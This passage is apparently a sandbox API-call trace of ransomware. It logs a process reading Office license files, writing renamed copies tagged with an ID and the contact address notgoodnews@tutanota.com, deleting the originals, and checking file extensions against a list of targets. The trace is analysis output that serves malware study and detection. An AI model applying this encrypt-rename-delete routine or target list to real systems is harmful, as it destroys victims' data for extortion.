office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.330] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.330] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0181.331] GetLastError () returned 0x0 [0181.331] ReadFile (in: hFile=0x3f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x56d0, lpOverlapped=0x0) returned 1 [0181.351] WriteFile (in: hFile=0x46c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x56e0, lpOverlapped=0x0) returned 1 [0181.352] ReadFile (in: hFile=0x3f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.352] WriteFile (in: hFile=0x46c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x12a, lpOverlapped=0x0) returned 1 [0181.352] SetEndOfFile (hFile=0x46c) returned 1 [0181.353] CloseHandle (hObject=0x46c) returned 1 [0181.359] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.359] SetEndOfFile (hFile=0x3f4) returned 1 [0181.375] CloseHandle (hObject=0x3f4) returned 1 [0181.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0182.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.299] lstrlenW (lpString=".doc") returned 4 [0182.299] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.299] lstrlenW (lpString=".docx") returned 5 [0182.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.299] lstrlenW (lpString=".pdf") returned 4 [0182.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.299] lstrlenW (lpString=".xls") returned 4 [0182.299] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.299] lstrlenW (lpString=".xlsx") returned 5 [0182.299] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.299] lstrlenW (lpString=".ppt") returned 4 [0182.299] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.299] lstrlenW (lpString=".zip") returned 4 [0182.299] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.299] lstrlenW (lpString=".rar") returned 4 [0182.299] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.299] lstrlenW (lpString=".bz2") returned 4 [0182.299] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.299] lstrlenW (lpString=".7z") returned 3 [0182.299] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.299] lstrlenW (lpString=".dbf") returned 4 [0182.300] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.300] lstrlenW (lpString=".1cd") returned 4 [0182.300] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.300] lstrlenW (lpString=".jpg") returned 4 [0182.300] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.300] lstrlenW (lpString=".doc") returned 4 [0182.300] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.300] lstrlenW (lpString=".docx") returned 5 [0182.300] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.300] lstrlenW (lpString=".pdf") returned 4 [0182.300] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.300] lstrlenW (lpString=".xls") returned 4 [0182.300] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.300] lstrlenW (lpString=".xlsx") returned 5 [0182.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.300] lstrlenW (lpString=".ppt") returned 4 [0182.301] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.301] lstrlenW (lpString=".zip") returned 4 [0182.301] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.302] lstrlenW (lpString=".rar") returned 4 [0182.302] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.302] lstrlenW (lpString=".bz2") returned 4 [0182.302] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.302] lstrlenW (lpString=".7z") returned 3 [0182.302] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.302] lstrlenW (lpString=".dbf") returned 4 [0182.302] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.302] lstrlenW (lpString=".1cd") returned 4 [0182.302] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0182.302] lstrlenW (lpString=".jpg") returned 4 [0182.302] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.303] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0182.303] lstrlenW (lpString="HomeBusinessR_Grace-ul-oob.xrm-ms") returned 33 [0182.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0182.850] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11624) returned 1 [0182.850] CloseHandle (hObject=0x478) returned 1 [0182.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220 [0183.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0183.195] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.195] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0183.387] GetLastError () returned 0x0 [0183.387] ReadFile (in: hFile=0x558, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d68, lpOverlapped=0x0) returned 1 [0184.003] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0184.028] ReadFile (in: hFile=0x558, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.028] WriteFile (in: hFile=0x3ac, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x116, lpOverlapped=0x0) returned 1 [0184.028] SetEndOfFile (hFile=0x3ac) returned 1 [0184.032] CloseHandle (hObject=0x3ac) returned 1 [0184.033] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.033] SetEndOfFile (hFile=0x558) returned 1 [0184.052] CloseHandle (hObject=0x558) returned 1 [0184.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0184.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.069] lstrlenW (lpString=".doc") returned 4 [0184.069] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.069] lstrlenW (lpString=".docx") returned 5 [0184.069] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.069] lstrlenW (lpString=".pdf") returned 4 [0184.069] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.069] lstrlenW (lpString=".xls") returned 4 [0184.069] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.069] lstrlenW (lpString=".xlsx") returned 5 [0184.069] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.070] lstrlenW (lpString=".ppt") returned 4 [0184.070] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.070] lstrlenW (lpString=".zip") returned 4 [0184.070] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString=".rar") returned 4 [0184.070] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString=".bz2") returned 4 [0184.070] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString=".7z") returned 3 [0184.070] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.070] lstrlenW (lpString=".dbf") returned 4 [0184.070] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.070] lstrlenW (lpString=".1cd") returned 4 [0184.070] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.070] lstrlenW (lpString=".jpg") returned 4 [0184.070] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.070] lstrlenW (lpString=".doc") returned 4 [0184.070] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.070] lstrlenW (lpString=".docx") returned 5 [0184.070] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.070] lstrlenW (lpString=".pdf") returned 4 [0184.070] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString=".xls") returned 4 [0184.071] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString=".xlsx") returned 5 [0184.071] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.071] lstrlenW (lpString=".ppt") returned 4 [0184.071] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.071] lstrlenW (lpString=".zip") returned 4 [0184.071] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString=".rar") returned 4 [0184.071] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString=".bz2") returned 4 [0184.071] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString=".7z") returned 3 [0184.071] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.071] lstrlenW (lpString=".dbf") returned 4 [0184.071] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.071] lstrlenW (lpString=".1cd") returned 4 [0184.071] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0184.071] lstrlenW (lpString=".jpg") returned 4 [0184.071] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.072] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0184.072] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 37 [0184.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0184.292] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=19966) returned 1 [0184.292] CloseHandle (hObject=0x518) returned 1 [0184.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 0x220 [0184.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0184.927] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.927] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0184.929] GetLastError () returned 0x0 [0184.929] ReadFile (in: hFile=0x55c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0184.959] WriteFile (in: hFile=0x450, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0184.960] ReadFile (in: hFile=0x55c, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.960] WriteFile (in: hFile=0x450, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x11e, lpOverlapped=0x0) returned 1 [0184.961] SetEndOfFile (hFile=0x450) returned 1 [0184.961] CloseHandle (hObject=0x450) returned 1 [0184.961] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.961] SetEndOfFile (hFile=0x55c) returned 1 [0184.965] CloseHandle (hObject=0x55c) returned 1 [0184.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.965] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-ul-phn.xrm-ms")) returned 1 [0184.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.967] lstrlenW (lpString=".doc") returned 4 [0184.967] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString=".docx") returned 5 [0184.967] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.967] lstrlenW (lpString=".pdf") returned 4 [0184.967] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString=".xls") returned 4 [0184.967] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString=".xlsx") returned 5 [0184.967] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.967] lstrlenW (lpString=".ppt") returned 4 [0184.967] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.967] lstrlenW (lpString=".zip") returned 4 [0184.967] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString=".rar") returned 4 [0184.967] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString=".bz2") returned 4 [0184.967] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString=".7z") returned 3 [0184.967] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.967] lstrlenW (lpString=".dbf") returned 4 [0184.967] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.967] lstrlenW (lpString=".1cd") returned 4 [0184.967] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.968] lstrlenW (lpString=".jpg") returned 4 [0184.968] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.968] lstrlenW (lpString=".doc") returned 4 [0184.968] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString=".docx") returned 5 [0184.968] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0184.968] lstrlenW (lpString=".pdf") returned 4 [0184.968] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString=".xls") returned 4 [0184.968] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString=".xlsx") returned 5 [0184.968] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0184.968] lstrlenW (lpString=".ppt") returned 4 [0184.968] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.968] lstrlenW (lpString=".zip") returned 4 [0184.968] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString=".rar") returned 4 [0184.968] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString=".bz2") returned 4 [0184.968] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0184.968] lstrlenW (lpString=".7z") returned 3 [0184.968] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0184.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.969] lstrlenW (lpString=".dbf") returned 4 [0184.969] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0184.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.969] lstrlenW (lpString=".1cd") returned 4 [0184.969] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0184.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned 87 [0184.969] lstrlenW (lpString=".jpg") returned 4 [0184.969] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0184.969] lstrcmpiW 